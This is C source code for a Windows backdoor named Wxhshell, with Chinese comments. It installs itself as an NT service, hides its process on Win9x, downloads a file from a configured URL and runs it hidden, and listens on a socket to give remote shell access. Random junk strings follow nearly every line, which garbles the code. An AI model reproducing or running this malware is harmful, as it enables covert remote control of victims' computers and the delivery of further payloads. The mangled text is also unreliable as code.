ULONG UniqueProcessId; GQEI f$
ULONG InheritedFromUniqueProcessId; A>rW Go.{E
} PROCESS_BASIC_INFORMATION; RZcx4fL}x
RPa?Nv?e
PROCNTQSIP NtQueryInformationProcess; Z&?+&q
r^
"<g?x`iz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -f-O2G=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A8A:@-e8A
KT]J,b
HANDLE hProcess; H| eD/6K
PROCESS_BASIC_INFORMATION pbi; N]O{T_5-0
GN~[xXJU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C[Y%=\6'0
if(NULL == hInst ) return 0; \4]zNV ~x
&r5&6p
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
/)eNx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WF3DGqs_]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YUP%K!k
i-Ge*?
if (!NtQueryInformationProcess) return 0; (50[,:#
/ej/&x15
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); URmAI8fq*M
if(!hProcess) return 0; mE3SiR "
O>tC]sm%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gKm@B{rC
Lk8W&|;0|
CloseHandle(hProcess); v"G%5pq*\
?
bUpK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]%WD} 4e
if(hProcess==NULL) return 0; ]ft~OqLg!
E'Fv *UA
HMODULE hMod; 1OfSq1G>v$
char procName[255]; c:`` Y:
unsigned long cbNeeded; B~'VDOG$Z
yP1Y3Tga=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~t.WwxY+
/I`bh
CloseHandle(hProcess); [EW$7 se~
)$Dcrrj
if(strstr(procName,"services")) return 1; // 以服务启动 N c&i) qh
y. ivz
return 0; // 注册表启动 &?5{z\;1"
} 6S&=OK^
9wDBC~.
// 主模块 u]>>B>KOJ7
int StartWxhshell(LPSTR lpCmdLine) :<WQ;q
{ I!soV0VU]
SOCKET wsl; 9$\;voo
BOOL val=TRUE; Gn2bZ%l
int port=0; Ma*dIwEp
struct sockaddr_in door; _L `N^I.
[Q.4]K2
if(wscfg.ws_autoins) Install(); a|6x!p2X
Te U7W?M^
port=atoi(lpCmdLine); %M0mwty]
YKX>@)Dxv
if(port<=0) port=wscfg.ws_port; +{=_|3(
\+evZ{Pu
WSADATA data; y}:)cA~o(y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H2FFw-xW
DESViQM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LGo@F;!n
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +~i+k~{`H
door.sin_family = AF_INET; _ \y0 mc4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !>Qc2&ZV
door.sin_port = htons(port); Uf2v$Jl+Yh
Kn!0S<ssR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z
kX-"}$8
closesocket(wsl); dbq{a
return 1; k,*#I<($
} L@k;L
#()cG
if(listen(wsl,2) == INVALID_SOCKET) { k1$2a8ja
closesocket(wsl); /Vm}+"BCS
return 1; (Q+:N;
} BHJ'[{U*w
Wxhshell(wsl); sY;gh`4h
WSACleanup(); l
SVW}t
@BHS5^|
return 0;
Sfoy8<j
rM
>V=|9,
} F#}1{$)%
/
N;`[R>Z~
// 以NT服务方式启动 eDM0417O(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T
m@1q!G
{ 3}#XA+Z
DWORD status = 0; b[[6X
DWORD specificError = 0xfffffff; |C)UZ4A/p
p,AD!~n`
serviceStatus.dwServiceType = SERVICE_WIN32; EDidg"0p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }MavI'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w[$nO#
serviceStatus.dwWin32ExitCode = 0;
b\0Q:
serviceStatus.dwServiceSpecificExitCode = 0; Vg,>7?]6h
serviceStatus.dwCheckPoint = 0; q
V
UUuyF
serviceStatus.dwWaitHint = 0; wq_oh*"
Y1E>T-Ma
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q[|`&6B
if (hServiceStatusHandle==0) return; xjhAAM
W6xjqNU
status = GetLastError(); #L IsL
if (status!=NO_ERROR) k'I_,Z<,
{ /E4 }d=5L
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y7t{4P
serviceStatus.dwCheckPoint = 0; hte9l)
serviceStatus.dwWaitHint = 0; c>i*HN}Z|
serviceStatus.dwWin32ExitCode = status; `7qp\vYL
serviceStatus.dwServiceSpecificExitCode = specificError; ^B!?;\4IM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C8W`Oly:]
return; AIxBZt7{b
} gUszMhHX
\Af|$9boHz
serviceStatus.dwCurrentState = SERVICE_RUNNING; On.x~t
serviceStatus.dwCheckPoint = 0; xE-c9AH
serviceStatus.dwWaitHint = 0; GWqY$YT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =E~5&W7
} V&+$Vq
eeJt4DV8v
// 处理NT服务事件,比如:启动、停止 B%g :Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nb!6YY=Ez-
{ ;7n*PBUJJ
switch(fdwControl) Gxa.<E^k
{ BfE-s<
case SERVICE_CONTROL_STOP: -J7,Nw
serviceStatus.dwWin32ExitCode = 0; c'#J{3d
serviceStatus.dwCurrentState = SERVICE_STOPPED; @ Rb1)$~#
serviceStatus.dwCheckPoint = 0; ,8o*!(uO2
serviceStatus.dwWaitHint = 0; :6k DUFj}
{ !4,xQ^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )(!Z90@
} 7CL@iL Tq
return; g&F<Uv#mZ
case SERVICE_CONTROL_PAUSE: A{Htpm ~
serviceStatus.dwCurrentState = SERVICE_PAUSED; )>M@hIV5>
break; '-]BSU
case SERVICE_CONTROL_CONTINUE: qddT9U|8~
serviceStatus.dwCurrentState = SERVICE_RUNNING; %V1T!<
break; j% USu+&
case SERVICE_CONTROL_INTERROGATE: 8(/f!~
break; P ~
pbx
}; 07"Oj9NlA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W]}V<S$
} ;ld~21#m
2[&-y[1
// 标准应用程序主函数 $~@096`QL<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PW//8lsR
{ -zLI!F 0
{i}Q}OgYq
// 获取操作系统版本 ftU5A@(T
OsIsNt=GetOsVer(); Hr*Pi3 dSI
GetModuleFileName(NULL,ExeFile,MAX_PATH); YB3=ij!K
s1\BjSzk
// 从命令行安装 MHyl=5
if(strpbrk(lpCmdLine,"iI")) Install(); tMBy
^@p
*^+xcG
// 下载执行文件 [5eT|uy
if(wscfg.ws_downexe) { ftH%, /,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TIhzMW\/K
WinExec(wscfg.ws_filenam,SW_HIDE); _%Ld
Ez
} J9=0?^v-:B
JIKxY$GS
if(!OsIsNt) { ZpctsCz]
// 如果时win9x,隐藏进程并且设置为注册表启动 J'c9577$
HideProc(); 5"~^;O
StartWxhshell(lpCmdLine); HgATH
} ^r
:A^q
else )9 jQ_
if(StartFromService()) / lM~K:
// 以服务方式启动 (<JDD]J
StartServiceCtrlDispatcher(DispatchTable); :Fd9N).%
else h}&IlDG
// 普通方式启动 N_Ld,J%g
StartWxhshell(lpCmdLine); Dj.+5f'
G( \1{"!
return 0; }~'Wz*Gm
} "}+/0$F
;L%~c4`l~m
vGHYB1=~
T>%ny\?tHW
=========================================== JsEEAM:w
5t?2B]
sLqvDH?V
Rs[]i;
LhRe?U\
*+Q*&-$
" l{o{=]x1
ykhCt\t[
#include <stdio.h> SY)$2RC+}
#include <string.h> [gp:nxyfQm
#include <windows.h> iQ"F`C
#include <winsock2.h> ~WXxVm*@
#include <winsvc.h> }V;]c~Q/H
#include <urlmon.h> K.1yncS^
slfVQ809
#pragma comment (lib, "Ws2_32.lib") (b}7Yb]#c
#pragma comment (lib, "urlmon.lib") H^:|`T|,
T5_Cu9>ax
#define MAX_USER 100 // 最大客户端连接数 RAbq_^Q
#define BUF_SOCK 200 // sock buffer %<|KJb4?
#define KEY_BUFF 255 // 输入 buffer `2+e\%f/0
|6^ K
#define REBOOT 0 // 重启 Z?'|9FM
#define SHUTDOWN 1 // 关机 ea>\.D-S
B&N&e